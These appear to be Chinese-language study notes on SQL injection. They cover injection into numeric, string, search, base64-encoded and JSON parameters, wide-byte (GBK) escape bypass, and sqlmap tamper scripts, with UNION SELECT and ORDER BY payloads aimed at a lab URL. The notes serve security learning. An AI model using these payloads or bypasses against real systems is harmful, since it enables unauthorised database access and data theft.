#知识点:
1、数据表现格式类型注入
2、字符转义绕过-宽字节注入
3、数字&字符&搜索&编码&加密等
#参考资料:
https://www.cnblogs.com/bmjoker/p/9326258.html
扫描,利用工具等都不会自动判断数据类型,格式等,所以即使有漏洞也测不出来,具体
还是需要人工的去观察,进行工具的修改或加载插件再次探针才可以。
数据类型注入 -
数字型:http://192.168.101.1/blog/27/other/news.php?id=1
字符型:http://192.168.101.1/blog/27/other/news.php?gtpl=simple
注入 ——考虑字符符号合并:
simple' order by 17 --+
搜索型(模糊查询’%%’):http://192.168.101.1/blog/27/other/news.php?search=%E6%BC%94%E7%A4%BA
注入:
http://192.168.101.1/blog/27/other/news.php?search=%E6%BC%94%E7%A4%BA%’ UNION+ALL+SELECT+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='
加密/编码型(base64 )等:http://192.168.101.1/blog/27/other/news.php?base=MQ==
注入(对参数进行加密):
192.168.101.1/blog/27/other/news.php?base=MSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTc=
——sqlmap对于编码或者加密型等,会出现识别不了的情况,所以要手工或者向sqlmap加入脚本:--tamper=xxx.py
格式型(JSON):表现形式不一样{”键名”:”键值1”,”键值2”}
注入:对与json格式,SQL语句不对双引号””,进行考虑,所以只需考虑键值中的数据类型
json={"username":"admin' order by 3#"}
宽字节注入(字节转义)
借助繁体或复杂字体代替两个字节,进行绕过:
就是用一个两个字节的东西覆盖掉后面的\(MYSQL中使用的GBK,会认为两个字符是一个汉字,当然前提条件是一个ASCII码要大于128,如%df)
Sqlmap一般也不会爆出注入点来 --tamper=unmagicquotes.py